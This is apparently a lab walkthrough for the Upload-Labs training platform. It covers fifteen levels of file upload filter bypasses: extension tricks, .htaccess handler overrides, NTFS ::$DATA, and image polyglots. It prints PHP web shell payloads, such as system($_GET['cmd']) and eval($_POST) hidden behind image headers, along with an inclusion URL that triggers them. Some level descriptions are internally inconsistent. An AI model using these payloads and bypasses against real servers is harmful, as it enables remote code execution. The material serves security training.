Overview
File upload vulnerabilities arise when web applications inadequately validate or sanitize user-supplied files before storing and serving them. Exploiting these flaws allows attackers to inject executable code—such as PHP webshells—into the server’s filesystem, often leading to remote code execution. Upload-Labs is a deliberately vulnerable training platform designed to demonstrate common file upload defence mechanisms and their bypass methods.
Challenge Walkthrough
Level 1: Client-Side Extension Filtering
The frontend uses JavaScript to block .php extensions. Since client-side validation is trivially bypassed, disabling JavaScript (e.g., via Quick JavaScript Switcher in Firefox) permits direct upload of shell.php.
Level 2: Server-Side Extension Check with MIME-Type Blindness
No client-side JS, but server rejects .php. Uploading shell.png succeeds. Intercepting the request with Burp Suite and modifying the filename from shell.png to shell.php in the Content-Disposition header bypasses the check.
Level 3: Blacklisted Extensions and Apache Handler Abuse
A hardcoded blacklist blocks common PHP extensions. By editing httpd.conf to add:
AddType application/x-httpd-php .php5
and uploading shell.php5, the file evades filtering while remaining executable by the web server.
Level 4: .htaccess-Driven Content-Type Override
The server blocks .htaccess, but this restriction is not yet enforced. A valid .htaccess file with:
AddType application/x-httpd-php .jpg
is crafted (using ren 1.txt .htaccess on Windows) and uploaded first. Then shell.jpg is uploaded and interpreted as PHP due to the directive.
Level 5: Incomplete Trimming Logic
The backend trims trailing whitespace and . characters once, then converts the extension to lowercase and strips ::$DATA. Submitting shell.php. (with trailing space) results in shell.php. after trimming—retaining the dot and breaking the blacklist match.
Level 6: Case-Insensitive Blacklist Without Normalization
The filter checks against lowercase extensions but does not enforce case normalization before comparison. Uploading shell.pHp (mixed case) avoids detection while still being parsed as PHP by Apache.
Level 7: Trailing Space Bypass in Extension Parsing
The logic strips trailing spaces after extracting the extension. Sending shell.php (space appended) causes the extension extraction to yield php , which fails the blacklist comparison ('php ' ≠ 'php').
Level 8: Trailing Dot Bypass
Similar to Level 7, but the trailing character is . instead of space. Submitting shell.php. leads to extension parsing returning php., which again evades exact-match blacklisting.
Level 9: ::$DATA Alternate Data Stream Injection
Windows NTFS alternate data streams are used to append metadata. Sending shell.php::$DATA causes the backend to strip only one occurrence of ::$DATA, leaving the base name intact for execution.
Level 10: Single-Step Dot Removal Flaw
The script removes only one trailing dot. Uploading shell.php.. becomes shell.php. after processing—reproducing the Level 8 bypass condition.
Level 11: Single-Occurrence Extension Stripping
The blacklist removal logic deletes only the first matching extension substring. Submitting shell.php.php results in shell.php after stripping one .php, making it executable.
Level 12 & 13: Whitelist-Based Validation with Image File Abuse
Only .jpg, .png, and .gif are allowed. Embedding PHP code inside an otherwise valid image (e.g., appending <?php system($_GET['cmd']); ?> to shell.png) creates a polyglot file. The server accepts it as an image; later inclusion (e.g., via LFI) executes the embedded payload.
Level 14: Magic Byte Validation Bypass
The script validates the first two bytes using exif_imagetype(). To pass, prepend valid image headers (e.g., \xFF\xD8 for JPEG) to a PHP payload. Then combine with a local file inclusion endpoint:
copy /b logo.jpg + shell.php combined.jpg
Upload combined.jpg, then include it via the LFI vector.
Level 15: getimagesize() Header Validation
Unlike raw byte checks, getimagesize() parses full image structure. A minimal valid PNG header suffices:
b'\x89PNG\r\n\x1a\n' + b'<?php eval($_POST["x"]); ?>'
Save as payload.png, upload, and trigger via an include endpoint like:
http://target/upload/include.php?file=uploads/payload.png